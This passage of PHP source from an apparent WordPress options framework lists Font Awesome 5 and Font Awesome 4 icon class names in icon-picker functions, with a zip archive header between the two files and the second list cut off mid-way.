fa-code-branch','fab fa-codepen','fab fa-codiepie','fas fa-coffee','fas fa-cog','fas fa-cogs','fas fa-coins','fas fa-columns','fas fa-comment','far fa-comment','fas fa-comment-alt','far fa-comment-alt','fas fa-comment-dollar','fas fa-comment-dots','far fa-comment-dots','fas fa-comment-medical','fas fa-comment-slash','fas fa-comments','far fa-comments','fas fa-comments-dollar','fas fa-compact-disc','fas fa-compass','far fa-compass','fas fa-compress','fas fa-compress-alt','fas fa-compress-arrows-alt','fas fa-concierge-bell','fab fa-confluence','fab fa-connectdevelop','fab fa-contao','fas fa-cookie','fas fa-cookie-bite','fas fa-copy','far fa-copy','fas fa-copyright','far fa-copyright','fab fa-cotton-bureau','fas fa-couch','fab fa-cpanel','fab fa-creative-commons','fab fa-creative-commons-by','fab fa-creative-commons-nc','fab fa-creative-commons-nc-eu','fab fa-creative-commons-nc-jp','fab fa-creative-commons-nd','fab fa-creative-commons-pd','fab fa-creative-commons-pd-alt','fab fa-creative-commons-remix','fab fa-creative-commons-sa','fab fa-creative-commons-sampling','fab fa-creative-commons-sampling-plus','fab fa-creative-commons-share','fab fa-creative-commons-zero','fas fa-credit-card','far fa-credit-card','fab fa-critical-role','fas fa-crop','fas fa-crop-alt','fas fa-cross','fas fa-crosshairs','fas fa-crow','fas fa-crown','fas fa-crutch','fab fa-css3','fab fa-css3-alt','fas fa-cube','fas fa-cubes','fas fa-cut','fab fa-cuttlefish','fab fa-d-and-d','fab fa-d-and-d-beyond','fab fa-dailymotion','fab fa-dashcube','fas fa-database','fas fa-deaf','fab fa-deezer','fab fa-delicious','fas fa-democrat','fab fa-deploydog','fab fa-deskpro','fas fa-desktop','fab fa-dev','fab fa-deviantart','fas fa-dharmachakra','fab fa-dhl','fas fa-diagnoses','fab fa-diaspora','fas fa-dice','fas fa-dice-d20','fas fa-dice-d6','fas fa-dice-five','fas fa-dice-four','fas fa-dice-one','fas fa-dice-six','fas fa-dice-three','fas fa-dice-two','fab fa-digg','fab fa-digital-ocean','fas fa-digital-tachograph','fas fa-directions','fab fa-discord','fab fa-discourse','fas fa-disease','fas fa-divide','fas fa-dizzy','far fa-dizzy','fas fa-dna','fab fa-dochub','fab fa-docker','fas fa-dog','fas fa-dollar-sign','fas fa-dolly','fas fa-dolly-flatbed','fas fa-donate','fas fa-door-closed','fas fa-door-open','fas fa-dot-circle','far fa-dot-circle','fas fa-dove','fas fa-download','fab fa-draft2digital','fas fa-drafting-compass','fas fa-dragon','fas fa-draw-polygon','fab fa-dribbble','fab fa-dribbble-square','fab fa-dropbox','fas fa-drum','fas fa-drum-steelpan','fas fa-drumstick-bite','fab fa-drupal','fas fa-dumbbell','fas fa-dumpster','fas fa-dumpster-fire','fas fa-dungeon','fab fa-dyalog','fab fa-earlybirds','fab fa-ebay','fab fa-edge','fab fa-edge-legacy','fas fa-edit','far fa-edit','fas fa-egg','fas fa-eject','fab fa-elementor','fas fa-ellipsis-h','fas fa-ellipsis-v','fab fa-ello','fab fa-ember','fab fa-empire','fas fa-envelope','far fa-envelope','fas fa-envelope-open','far fa-envelope-open','fas fa-envelope-open-text','fas fa-envelope-square','fab fa-envira','fas fa-equals','fas fa-eraser','fab fa-erlang','fab fa-ethereum','fas fa-ethernet','fab fa-etsy','fas fa-euro-sign','fab fa-evernote','fas fa-exchange-alt','fas fa-exclamation','fas fa-exclamation-circle','fas fa-exclamation-triangle','fas fa-expand','fas fa-expand-alt','fas fa-expand-arrows-alt','fab fa-expeditedssl','fas fa-external-link-alt','fas fa-external-link-square-alt','fas fa-eye','far fa-eye','fas fa-eye-dropper','fas fa-eye-slash','far fa-eye-slash','fab fa-facebook','fab fa-facebook-f','fab fa-facebook-messenger','fab fa-facebook-square','fas fa-fan','fab fa-fantasy-flight-games','fas fa-fast-backward','fas fa-fast-forward','fas fa-faucet','fas fa-fax','fas fa-feather','fas fa-feather-alt','fab fa-fedex','fab fa-fedora','fas fa-female','fas fa-fighter-jet','fab fa-figma','fas fa-file','far fa-file','fas fa-file-alt','far fa-file-alt','fas fa-file-archive','far fa-file-archive','fas fa-file-audio','far fa-file-audio','fas fa-file-code','far fa-file-code','fas fa-file-contract','fas fa-file-csv','fas fa-file-download','fas fa-file-excel','far fa-file-excel','fas fa-file-export','fas fa-file-image','far fa-file-image','fas fa-file-import','fas fa-file-invoice','fas fa-file-invoice-dollar','fas fa-file-medical','fas fa-file-medical-alt','fas fa-file-pdf','far fa-file-pdf','fas fa-file-powerpoint','far fa-file-powerpoint','fas fa-file-prescription','fas fa-file-signature','fas fa-file-upload','fas fa-file-video','far fa-file-video','fas fa-file-word','far fa-file-word','fas fa-fill','fas fa-fill-drip','fas fa-film','fas fa-filter','fas fa-fingerprint','fas fa-fire','fas fa-fire-alt','fas fa-fire-extinguisher','fab fa-firefox','fab fa-firefox-browser','fas fa-first-aid','fab fa-first-order','fab fa-first-order-alt','fab fa-firstdraft','fas fa-fish','fas fa-fist-raised','fas fa-flag','far fa-flag','fas fa-flag-checkered','fas fa-flag-usa','fas fa-flask','fab fa-flickr','fab fa-flipboard','fas fa-flushed','far fa-flushed','fab fa-fly','fas fa-folder','far fa-folder','fas fa-folder-minus','fas fa-folder-open','far fa-folder-open','fas fa-folder-plus','fas fa-font','fab fa-font-awesome','fab fa-font-awesome-alt','fab fa-font-awesome-flag','far fa-font-awesome-logo-full','fas fa-font-awesome-logo-full','fab fa-font-awesome-logo-full','fab fa-fonticons','fab fa-fonticons-fi','fas fa-football-ball','fab fa-fort-awesome','fab fa-fort-awesome-alt','fab fa-forumbee','fas fa-forward','fab fa-foursquare','fab fa-free-code-camp','fab fa-freebsd','fas fa-frog','fas fa-frown','far fa-frown','fas fa-frown-open','far fa-frown-open','fab fa-fulcrum','fas fa-funnel-dollar','fas fa-futbol','far fa-futbol','fab fa-galactic-republic','fab fa-galactic-senate','fas fa-gamepad','fas fa-gas-pump','fas fa-gavel','fas fa-gem','far fa-gem','fas fa-genderless','fab fa-get-pocket','fab fa-gg','fab fa-gg-circle','fas fa-ghost','fas fa-gift','fas fa-gifts','fab fa-git','fab fa-git-alt','fab fa-git-square','fab fa-github','fab fa-github-alt','fab fa-github-square','fab fa-gitkraken','fab fa-gitlab','fab fa-gitter','fas fa-glass-cheers','fas fa-glass-martini','fas fa-glass-martini-alt','fas fa-glass-whiskey','fas fa-glasses','fab fa-glide','fab fa-glide-g','fas fa-globe','fas fa-globe-africa','fas fa-globe-americas','fas fa-globe-asia','fas fa-globe-europe','fab fa-gofore','fas fa-golf-ball','fab fa-goodreads','fab fa-goodreads-g','fab fa-google','fab fa-google-drive','fab fa-google-pay','fab fa-google-play','fab fa-google-plus','fab fa-google-plus-g','fab fa-google-plus-square','fab fa-google-wallet','fas fa-gopuram','fas fa-graduation-cap','fab fa-gratipay','fab fa-grav','fas fa-greater-than','fas fa-greater-than-equal','fas fa-grimace','far fa-grimace','fas fa-grin','far fa-grin','fas fa-grin-alt','far fa-grin-alt','fas fa-grin-beam','far fa-grin-beam','fas fa-grin-beam-sweat','far fa-grin-beam-sweat','fas fa-grin-hearts','far fa-grin-hearts','fas fa-grin-squint','far fa-grin-squint','fas fa-grin-squint-tears','far fa-grin-squint-tears','fas fa-grin-stars','far fa-grin-stars','fas fa-grin-tears','far fa-grin-tears','fas fa-grin-tongue','far fa-grin-tongue','fas fa-grin-tongue-squint','far fa-grin-tongue-squint','fas fa-grin-tongue-wink','far fa-grin-tongue-wink','fas fa-grin-wink','far fa-grin-wink','fas fa-grip-horizontal','fas fa-grip-lines','fas fa-grip-lines-vertical','fas fa-grip-vertical','fab fa-gripfire','fab fa-grunt','fab fa-guilded','fas fa-guitar','fab fa-gulp','fas fa-h-square','fab fa-hacker-news','fab fa-hacker-news-square','fab fa-hackerrank','fas fa-hamburger','fas fa-hammer','fas fa-hamsa','fas fa-hand-holding','fas fa-hand-holding-heart','fas fa-hand-holding-medical','fas fa-hand-holding-usd','fas fa-hand-holding-water','fas fa-hand-lizard','far fa-hand-lizard','fas fa-hand-middle-finger','fas fa-hand-paper','far fa-hand-paper','fas fa-hand-peace','far fa-hand-peace','fas fa-hand-point-down','far fa-hand-point-down','fas fa-hand-point-left','far fa-hand-point-left','fas fa-hand-point-right','far fa-hand-point-right','fas fa-hand-point-up','far fa-hand-point-up','fas fa-hand-pointer','far fa-hand-pointer','fas fa-hand-rock','far fa-hand-rock','fas fa-hand-scissors','far fa-hand-scissors','fas fa-hand-sparkles','fas fa-hand-spock','far fa-hand-spock','fas fa-hands','fas fa-hands-helping','fas fa-hands-wash','fas fa-handshake','far fa-handshake','fas fa-handshake-alt-slash','fas fa-handshake-slash','fas fa-hanukiah','fas fa-hard-hat','fas fa-hashtag','fas fa-hat-cowboy','fas fa-hat-cowboy-side','fas fa-hat-wizard','fas fa-hdd','far fa-hdd','fas fa-head-side-cough','fas fa-head-side-cough-slash','fas fa-head-side-mask','fas fa-head-side-virus','fas fa-heading','fas fa-headphones','fas fa-headphones-alt','fas fa-headset','fas fa-heart','far fa-heart','fas fa-heart-broken','fas fa-heartbeat','fas fa-helicopter','fas fa-highlighter','fas fa-hiking','fas fa-hippo','fab fa-hips','fab fa-hire-a-helper','fas fa-history','fab fa-hive','fas fa-hockey-puck','fas fa-holly-berry','fas fa-home','fab fa-hooli','fab fa-hornbill','fas fa-horse','fas fa-horse-head','fas fa-hospital','far fa-hospital','fas fa-hospital-alt','fas fa-hospital-symbol','fas fa-hospital-user','fas fa-hot-tub','fas fa-hotdog','fas fa-hotel','fab fa-hotjar','fas fa-hourglass','far fa-hourglass','fas fa-hourglass-end','fas fa-hourglass-half','fas fa-hourglass-start','fas fa-house-damage','fas fa-house-user','fab fa-houzz','fas fa-hryvnia','fab fa-html5','fab fa-hubspot','fas fa-i-cursor','fas fa-ice-cream','fas fa-icicles','fas fa-icons','fas fa-id-badge','far fa-id-badge','fas fa-id-card','far fa-id-card','fas fa-id-card-alt','fab fa-ideal','fas fa-igloo','fas fa-image','far fa-image','fas fa-images','far fa-images','fab fa-imdb','fas fa-inbox','fas fa-indent','fas fa-industry','fas fa-infinity','fas fa-info','fas fa-info-circle','fab fa-innosoft','fab fa-instagram','fab fa-instagram-square','fab fa-instalod','fab fa-intercom','fab fa-internet-explorer','fab fa-invision','fab fa-ioxhost','fas fa-italic','fab fa-itch-io','fab fa-itunes','fab fa-itunes-note','fab fa-java','fas fa-jedi','fab fa-jedi-order','fab fa-jenkins','fab fa-jira','fab fa-joget','fas fa-joint','fab fa-joomla','fas fa-journal-whills','fab fa-js','fab fa-js-square','fab fa-jsfiddle','fas fa-kaaba','fab fa-kaggle','fas fa-key','fab fa-keybase','fas fa-keyboard','far fa-keyboard','fab fa-keycdn','fas fa-khanda','fab fa-kickstarter','fab fa-kickstarter-k','fas fa-kiss','far fa-kiss','fas fa-kiss-beam','far fa-kiss-beam','fas fa-kiss-wink-heart','far fa-kiss-wink-heart','fas fa-kiwi-bird','fab fa-korvue','fas fa-landmark','fas fa-language','fas fa-laptop','fas fa-laptop-code','fas fa-laptop-house','fas fa-laptop-medical','fab fa-laravel','fab fa-lastfm','fab fa-lastfm-square','fas fa-laugh','far fa-laugh','fas fa-laugh-beam','far fa-laugh-beam','fas fa-laugh-squint','far fa-laugh-squint','fas fa-laugh-wink','far fa-laugh-wink','fas fa-layer-group','fas fa-leaf','fab fa-leanpub','fas fa-lemon','far fa-lemon','fab fa-less','fas fa-less-than','fas fa-less-than-equal','fas fa-level-down-alt','fas fa-level-up-alt','fas fa-life-ring','far fa-life-ring','fas fa-lightbulb','far fa-lightbulb','fab fa-line','fas fa-link','fab fa-linkedin','fab fa-linkedin-in','fab fa-linode','fab fa-linux','fas fa-lira-sign','fas fa-list','fas fa-list-alt','far fa-list-alt','fas fa-list-ol','fas fa-list-ul','fas fa-location-arrow','fas fa-lock','fas fa-lock-open','fas fa-long-arrow-alt-down','fas fa-long-arrow-alt-left','fas fa-long-arrow-alt-right','fas fa-long-arrow-alt-up','fas fa-low-vision','fas fa-luggage-cart','fas fa-lungs','fas fa-lungs-virus','fab fa-lyft','fab fa-magento','fas fa-magic','fas fa-magnet','fas fa-mail-bulk','fab fa-mailchimp','fas fa-male','fab fa-mandalorian','fas fa-map','far fa-map','fas fa-map-marked','fas fa-map-marked-alt','fas fa-map-marker','fas fa-map-marker-alt','fas fa-map-pin','fas fa-map-signs','fab fa-markdown','fas fa-marker','fas fa-mars','fas fa-mars-double','fas fa-mars-stroke','fas fa-mars-stroke-h','fas fa-mars-stroke-v','fas fa-mask','fab fa-mastodon','fab fa-maxcdn','fab fa-mdb','fas fa-medal','fab fa-medapps','fab fa-medium','fab fa-medium-m','fas fa-medkit','fab fa-medrt','fab fa-meetup','fab fa-megaport','fas fa-meh','far fa-meh','fas fa-meh-blank','far fa-meh-blank','fas fa-meh-rolling-eyes','far fa-meh-rolling-eyes','fas fa-memory','fab fa-mendeley','fas fa-menorah','fas fa-mercury','fas fa-meteor','fab fa-microblog','fas fa-microchip','fas fa-microphone','fas fa-microphone-alt','fas fa-microphone-alt-slash','fas fa-microphone-slash','fas fa-microscope','fab fa-microsoft','fas fa-minus','fas fa-minus-circle','fas fa-minus-square','far fa-minus-square','fas fa-mitten','fab fa-mix','fab fa-mixcloud','fab fa-mixer','fab fa-mizuni','fas fa-mobile','fas fa-mobile-alt','fab fa-modx','fab fa-monero','fas fa-money-bill','fas fa-money-bill-alt','far fa-money-bill-alt','fas fa-money-bill-wave','fas fa-money-bill-wave-alt','fas fa-money-check','fas fa-money-check-alt','fas fa-monument','fas fa-moon','far fa-moon','fas fa-mortar-pestle','fas fa-mosque','fas fa-motorcycle','fas fa-mountain','fas fa-mouse','fas fa-mouse-pointer','fas fa-mug-hot','fas fa-music','fab fa-napster','fab fa-neos','fas fa-network-wired','fas fa-neuter','fas fa-newspaper','far fa-newspaper','fab fa-nimblr','fab fa-node','fab fa-node-js','fas fa-not-equal','fas fa-notes-medical','fab fa-npm','fab fa-ns8','fab fa-nutritionix','fas fa-object-group','far fa-object-group','fas fa-object-ungroup','far fa-object-ungroup','fab fa-octopus-deploy','fab fa-odnoklassniki','fab fa-odnoklassniki-square','fas fa-oil-can','fab fa-old-republic','fas fa-om','fab fa-opencart','fab fa-openid','fab fa-opera','fab fa-optin-monster','fab fa-orcid','fab fa-osi','fas fa-otter','fas fa-outdent','fab fa-page4','fab fa-pagelines','fas fa-pager','fas fa-paint-brush','fas fa-paint-roller','fas fa-palette','fab fa-palfed','fas fa-pallet','fas fa-paper-plane','far fa-paper-plane','fas fa-paperclip','fas fa-parachute-box','fas fa-paragraph','fas fa-parking','fas fa-passport','fas fa-pastafarianism','fas fa-paste','fab fa-patreon','fas fa-pause','fas fa-pause-circle','far fa-pause-circle','fas fa-paw','fab fa-paypal','fas fa-peace','fas fa-pen','fas fa-pen-alt','fas fa-pen-fancy','fas fa-pen-nib','fas fa-pen-square','fas fa-pencil-alt','fas fa-pencil-ruler','fab fa-penny-arcade','fas fa-people-arrows','fas fa-people-carry','fas fa-pepper-hot','fab fa-perbyte','fas fa-percent','fas fa-percentage','fab fa-periscope','fas fa-person-booth','fab fa-phabricator','fab fa-phoenix-framework','fab fa-phoenix-squadron','fas fa-phone','fas fa-phone-alt','fas fa-phone-slash','fas fa-phone-square','fas fa-phone-square-alt','fas fa-phone-volume','fas fa-photo-video','fab fa-php','fab fa-pied-piper','fab fa-pied-piper-alt','fab fa-pied-piper-hat','fab fa-pied-piper-pp','fab fa-pied-piper-square','fas fa-piggy-bank','fas fa-pills','fab fa-pinterest','fab fa-pinterest-p','fab fa-pinterest-square','fas fa-pizza-slice','fas fa-place-of-worship','fas fa-plane','fas fa-plane-arrival','fas fa-plane-departure','fas fa-plane-slash','fas fa-play','fas fa-play-circle','far fa-play-circle','fab fa-playstation','fas fa-plug','fas fa-plus','fas fa-plus-circle','fas fa-plus-square','far fa-plus-square','fas fa-podcast','fas fa-poll','fas fa-poll-h','fas fa-poo','fas fa-poo-storm','fas fa-poop','fas fa-portrait','fas fa-pound-sign','fas fa-power-off','fas fa-pray','fas fa-praying-hands','fas fa-prescription','fas fa-prescription-bottle','fas fa-prescription-bottle-alt','fas fa-print','fas fa-procedures','fab fa-product-hunt','fas fa-project-diagram','fas fa-pump-medical','fas fa-pump-soap','fab fa-pushed','fas fa-puzzle-piece','fab fa-python','fab fa-qq','fas fa-qrcode','fas fa-question','fas fa-question-circle','far fa-question-circle','fas fa-quidditch','fab fa-quinscape','fab fa-quora','fas fa-quote-left','fas fa-quote-right','fas fa-quran','fab fa-r-project','fas fa-radiation','fas fa-radiation-alt','fas fa-rainbow','fas fa-random','fab fa-raspberry-pi','fab fa-ravelry','fab fa-react','fab fa-reacteurope','fab fa-readme','fab fa-rebel','fas fa-receipt','fas fa-record-vinyl','fas fa-recycle','fab fa-red-river','fab fa-reddit','fab fa-reddit-alien','fab fa-reddit-square','fab fa-redhat','fas fa-redo','fas fa-redo-alt','fas fa-registered','far fa-registered','fas fa-remove-format','fab fa-renren','fas fa-reply','fas fa-reply-all','fab fa-replyd','fas fa-republican','fab fa-researchgate','fab fa-resolving','fas fa-restroom','fas fa-retweet','fab fa-rev','fas fa-ribbon','fas fa-ring','fas fa-road','fas fa-robot','fas fa-rocket','fab fa-rocketchat','fab fa-rockrms','fas fa-route','fas fa-rss','fas fa-rss-square','fas fa-ruble-sign','fas fa-ruler','fas fa-ruler-combined','fas fa-ruler-horizontal','fas fa-ruler-vertical','fas fa-running','fas fa-rupee-sign','fab fa-rust','fas fa-sad-cry','far fa-sad-cry','fas fa-sad-tear','far fa-sad-tear','fab fa-safari','fab fa-salesforce','fab fa-sass','fas fa-satellite','fas fa-satellite-dish','fas fa-save','far fa-save','fab fa-schlix','fas fa-school','fas fa-screwdriver','fab fa-scribd','fas fa-scroll','fas fa-sd-card','fas fa-search','fas fa-search-dollar','fas fa-search-location','fas fa-search-minus','fas fa-search-plus','fab fa-searchengin','fas fa-seedling','fab fa-sellcast','fab fa-sellsy','fas fa-server','fab fa-servicestack','fas fa-shapes','fas fa-share','fas fa-share-alt','fas fa-share-alt-square','fas fa-share-square','far fa-share-square','fas fa-shekel-sign','fas fa-shield-alt','fas fa-shield-virus','fas fa-ship','fas fa-shipping-fast','fab fa-shirtsinbulk','fas fa-shoe-prints','fab fa-shopify','fas fa-shopping-bag','fas fa-shopping-basket','fas fa-shopping-cart','fab fa-shopware','fas fa-shower','fas fa-shuttle-van','fas fa-sign','fas fa-sign-in-alt','fas fa-sign-language','fas fa-sign-out-alt','fas fa-signal','fas fa-signature','fas fa-sim-card','fab fa-simplybuilt','fas fa-sink','fab fa-sistrix','fas fa-sitemap','fab fa-sith','fas fa-skating','fab fa-sketch','fas fa-skiing','fas fa-skiing-nordic','fas fa-skull','fas fa-skull-crossbones','fab fa-skyatlas','fab fa-skype','fab fa-slack','fab fa-slack-hash','fas fa-slash','fas fa-sleigh','fas fa-sliders-h','fab fa-slideshare','fas fa-smile','far fa-smile','fas fa-smile-beam','far fa-smile-beam','fas fa-smile-wink','far fa-smile-wink','fas fa-smog','fas fa-smoking','fas fa-smoking-ban','fas fa-sms','fab fa-snapchat','fab fa-snapchat-ghost','fab fa-snapchat-square','fas fa-snowboarding','fas fa-snowflake','far fa-snowflake','fas fa-snowman','fas fa-snowplow','fas fa-soap','fas fa-socks','fas fa-solar-panel','fas fa-sort','fas fa-sort-alpha-down','fas fa-sort-alpha-down-alt','fas fa-sort-alpha-up','fas fa-sort-alpha-up-alt','fas fa-sort-amount-down','fas fa-sort-amount-down-alt','fas fa-sort-amount-up','fas fa-sort-amount-up-alt','fas fa-sort-down','fas fa-sort-numeric-down','fas fa-sort-numeric-down-alt','fas fa-sort-numeric-up','fas fa-sort-numeric-up-alt','fas fa-sort-up','fab fa-soundcloud','fab fa-sourcetree','fas fa-spa','fas fa-space-shuttle','fab fa-speakap','fab fa-speaker-deck','fas fa-spell-check','fas fa-spider','fas fa-spinner','fas fa-splotch','fab fa-spotify','fas fa-spray-can','fas fa-square','far fa-square','fas fa-square-full','fas fa-square-root-alt','fab fa-squarespace','fab fa-stack-exchange','fab fa-stack-overflow','fab fa-stackpath','fas fa-stamp','fas fa-star','far fa-star','fas fa-star-and-crescent','fas fa-star-half','far fa-star-half','fas fa-star-half-alt','fas fa-star-of-david','fas fa-star-of-life','fab fa-staylinked','fab fa-steam','fab fa-steam-square','fab fa-steam-symbol','fas fa-step-backward','fas fa-step-forward','fas fa-stethoscope','fab fa-sticker-mule','fas fa-sticky-note','far fa-sticky-note','fas fa-stop','fas fa-stop-circle','far fa-stop-circle','fas fa-stopwatch','fas fa-stopwatch-20','fas fa-store','fas fa-store-alt','fas fa-store-alt-slash','fas fa-store-slash','fab fa-strava','fas fa-stream','fas fa-street-view','fas fa-strikethrough','fab fa-stripe','fab fa-stripe-s','fas fa-stroopwafel','fab fa-studiovinari','fab fa-stumbleupon','fab fa-stumbleupon-circle','fas fa-subscript','fas fa-subway','fas fa-suitcase','fas fa-suitcase-rolling','fas fa-sun','far fa-sun','fab fa-superpowers','fas fa-superscript','fab fa-supple','fas fa-surprise','far fa-surprise','fab fa-suse','fas fa-swatchbook','fab fa-swift','fas fa-swimmer','fas fa-swimming-pool','fab fa-symfony','fas fa-synagogue','fas fa-sync','fas fa-sync-alt','fas fa-syringe','fas fa-table','fas fa-table-tennis','fas fa-tablet','fas fa-tablet-alt','fas fa-tablets','fas fa-tachometer-alt','fas fa-tag','fas fa-tags','fas fa-tape','fas fa-tasks','fas fa-taxi','fab fa-teamspeak','fas fa-teeth','fas fa-teeth-open','fab fa-telegram','fab fa-telegram-plane','fas fa-temperature-high','fas fa-temperature-low','fab fa-tencent-weibo','fas fa-tenge','fas fa-terminal','fas fa-text-height','fas fa-text-width','fas fa-th','fas fa-th-large','fas fa-th-list','fab fa-the-red-yeti','fas fa-theater-masks','fab fa-themeco','fab fa-themeisle','fas fa-thermometer','fas fa-thermometer-empty','fas fa-thermometer-full','fas fa-thermometer-half','fas fa-thermometer-quarter','fas fa-thermometer-three-quarters','fab fa-think-peaks','fas fa-thumbs-down','far fa-thumbs-down','fas fa-thumbs-up','far fa-thumbs-up','fas fa-thumbtack','fas fa-ticket-alt','fab fa-tiktok','fas fa-times','fas fa-times-circle','far fa-times-circle','fas fa-tint','fas fa-tint-slash','fas fa-tired','far fa-tired','fas fa-toggle-off','fas fa-toggle-on','fas fa-toilet','fas fa-toilet-paper','fas fa-toilet-paper-slash','fas fa-toolbox','fas fa-tools','fas fa-tooth','fas fa-torah','fas fa-torii-gate','fas fa-tractor','fab fa-trade-federation','fas fa-trademark','fas fa-traffic-light','fas fa-trailer','fas fa-train','fas fa-tram','fas fa-transgender','fas fa-transgender-alt','fas fa-trash','fas fa-trash-alt','far fa-trash-alt','fas fa-trash-restore','fas fa-trash-restore-alt','fas fa-tree','fab fa-trello','fas fa-trophy','fas fa-truck','fas fa-truck-loading','fas fa-truck-monster','fas fa-truck-moving','fas fa-truck-pickup','fas fa-tshirt','fas fa-tty','fab fa-tumblr','fab fa-tumblr-square','fas fa-tv','fab fa-twitch','fab fa-twitter','fab fa-twitter-square','fab fa-typo3','fab fa-uber','fab fa-ubuntu','fab fa-uikit','fab fa-umbraco','fas fa-umbrella','fas fa-umbrella-beach','fab fa-uncharted','fas fa-underline','fas fa-undo','fas fa-undo-alt','fab fa-uniregistry','fab fa-unity','fas fa-universal-access','fas fa-university','fas fa-unlink','fas fa-unlock','fas fa-unlock-alt','fab fa-unsplash','fab fa-untappd','fas fa-upload','fab fa-ups','fab fa-usb','fas fa-user','far fa-user','fas fa-user-alt','fas fa-user-alt-slash','fas fa-user-astronaut','fas fa-user-check','fas fa-user-circle','far fa-user-circle','fas fa-user-clock','fas fa-user-cog','fas fa-user-edit','fas fa-user-friends','fas fa-user-graduate','fas fa-user-injured','fas fa-user-lock','fas fa-user-md','fas fa-user-minus','fas fa-user-ninja','fas fa-user-nurse','fas fa-user-plus','fas fa-user-secret','fas fa-user-shield','fas fa-user-slash','fas fa-user-tag','fas fa-user-tie','fas fa-user-times','fas fa-users','fas fa-users-cog','fas fa-users-slash','fab fa-usps','fab fa-ussunnah','fas fa-utensil-spoon','fas fa-utensils','fab fa-vaadin','fas fa-vector-square','fas fa-venus','fas fa-venus-double','fas fa-venus-mars','fas fa-vest','fas fa-vest-patches','fab fa-viacoin','fab fa-viadeo','fab fa-viadeo-square','fas fa-vial','fas fa-vials','fab fa-viber','fas fa-video','fas fa-video-slash','fas fa-vihara','fab fa-vimeo','fab fa-vimeo-square','fab fa-vimeo-v','fab fa-vine','fas fa-virus','fas fa-virus-slash','fas fa-viruses','fab fa-vk','fab fa-vnv','fas fa-voicemail','fas fa-volleyball-ball','fas fa-volume-down','fas fa-volume-mute','fas fa-volume-off','fas fa-volume-up','fas fa-vote-yea','fas fa-vr-cardboard','fab fa-vuejs','fas fa-walking','fas fa-wallet','fas fa-warehouse','fab fa-watchman-monitoring','fas fa-water','fas fa-wave-square','fab fa-waze','fab fa-weebly','fab fa-weibo','fas fa-weight','fas fa-weight-hanging','fab fa-weixin','fab fa-whatsapp','fab fa-whatsapp-square','fas fa-wheelchair','fab fa-whmcs','fas fa-wifi','fab fa-wikipedia-w','fas fa-wind','fas fa-window-close','far fa-window-close','fas fa-window-maximize','far fa-window-maximize','fas fa-window-minimize','far fa-window-minimize','fas fa-window-restore','far fa-window-restore','fab fa-windows','fas fa-wine-bottle','fas fa-wine-glass','fas fa-wine-glass-alt','fab fa-wix','fab fa-wizards-of-the-coast','fab fa-wodu','fab fa-wolf-pack-battalion','fas fa-won-sign','fab fa-wordpress','fab fa-wordpress-simple','fab fa-wpbeginner','fab fa-wpexplorer','fab fa-wpforms','fab fa-wpressr','fas fa-wrench','fas fa-x-ray','fab fa-xbox','fab fa-xing','fab fa-xing-square','fab fa-y-combinator','fab fa-yahoo','fab fa-yammer','fab fa-yandex','fab fa-yandex-international','fab fa-yarn','fab fa-yelp','fas fa-yen-sign','fas fa-yin-yang','fab fa-yoast','fab fa-youtube','fab fa-youtube-square','fab fa-zhihu' )
    ) );
  }
}
PK     N\ Tg1  g1  /  inc/options/framework/fields/icon/fa4-icons.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
//
// Font Awesome 4 Icons
//
if ( ! function_exists( 'csf_get_default_icons' ) ) {
  function csf_get_default_icons() {
    return array( array(
      'title' => 'Font Awesome',
      'icons' => array( 'fa fa-glass','fa fa-music','fa fa-search','fa fa-envelope-o','fa fa-heart','fa fa-star','fa fa-star-o','fa fa-user','fa fa-film','fa fa-th-large','fa fa-th','fa fa-th-list','fa fa-check','fa fa-times','fa fa-search-plus','fa fa-search-minus','fa fa-power-off','fa fa-signal','fa fa-cog','fa fa-trash-o','fa fa-home','fa fa-file-o','fa fa-clock-o','fa fa-road','fa fa-download','fa fa-arrow-circle-o-down','fa fa-arrow-circle-o-up','fa fa-inbox','fa fa-play-circle-o','fa fa-repeat','fa fa-refresh','fa fa-list-alt','fa fa-lock','fa fa-flag','fa fa-headphones','fa fa-volume-off','fa fa-volume-down','fa fa-volume-up','fa fa-qrcode','fa fa-barcode','fa fa-tag','fa fa-tags','fa fa-book','fa fa-bookmark','fa fa-print','fa fa-camera','fa fa-font','fa fa-bold','fa fa-italic','fa fa-text-height','fa fa-text-width','fa fa-align-left','fa fa-align-center','fa fa-align-right','fa fa-align-justify','fa fa-list','fa fa-outdent','fa fa-indent','fa fa-video-camera','fa fa-picture-o','fa fa-pencil','fa fa-map-marker','fa fa-adjust','fa fa-tint','fa fa-pencil-square-o','fa fa-share-square-o','fa fa-check-square-o','fa fa-arrows','fa fa-step-backward','fa fa-fast-backward','fa fa-backward','fa fa-play','fa fa-pause','fa fa-stop','fa fa-forward','fa fa-fast-forward','fa fa-step-forward','fa fa-eject','fa fa-chevron-left','fa fa-chevron-right','fa fa-plus-circle','fa fa-minus-circle','fa fa-times-circle','fa fa-check-circle','fa fa-question-circle','fa fa-info-circle','fa fa-crosshairs','fa fa-times-circle-o','fa fa-check-circle-o','fa fa-ban','fa fa-arrow-left','fa fa-arrow-right','fa fa-arrow-up','fa fa-arrow-down','fa fa-share','fa fa-expand','fa fa-compress','fa fa-plus','fa fa-minus','fa fa-asterisk','fa fa-exclamation-circle','fa fa-gift','fa fa-leaf','fa fa-fire','fa fa-eye','fa fa-eye-slash','fa fa-exclamation-triangle','fa fa-plane','fa fa-calendar','fa fa-random','fa fa-comment','fa fa-magnet','fa fa-chevron-up','fa fa-chevron-down','fa fa-retweet','fa fa-shopping-cart','fa fa-folder','fa fa-folder-open','fa fa-arrows-v','fa fa-arrows-h','fa fa-bar-chart','fa fa-twitter-square','fa fa-facebook-square','fa fa-camera-retro','fa fa-key','fa fa-cogs','fa fa-comments','fa fa-thumbs-o-up','fa fa-thumbs-o-down','fa fa-star-half','fa fa-heart-o','fa fa-sign-out','fa fa-linkedin-square','fa fa-thumb-tack','fa fa-external-link','fa fa-sign-in','fa fa-trophy','fa fa-github-square','fa fa-upload','fa fa-lemon-o','fa fa-phone','fa fa-square-o','fa fa-bookmark-o','fa fa-phone-square','fa fa-twitter','fa fa-facebook','fa fa-github','fa fa-unlock','fa fa-credit-card','fa fa-rss','fa fa-hdd-o','fa fa-bullhorn','fa fa-bell','fa fa-certificate','fa fa-hand-o-right','fa fa-hand-o-left','fa fa-hand-o-up','fa fa-hand-o-down','fa fa-arrow-circle-left','fa fa-arrow-circle-right','fa fa-arrow-circle-up','fa fa-arrow-circle-down','fa fa-globe','fa fa-wrench','fa fa-tasks','fa fa-filter','fa fa-briefcase','fa fa-arrows-alt','fa fa-users','fa fa-link','fa fa-cloud','fa fa-flask','fa 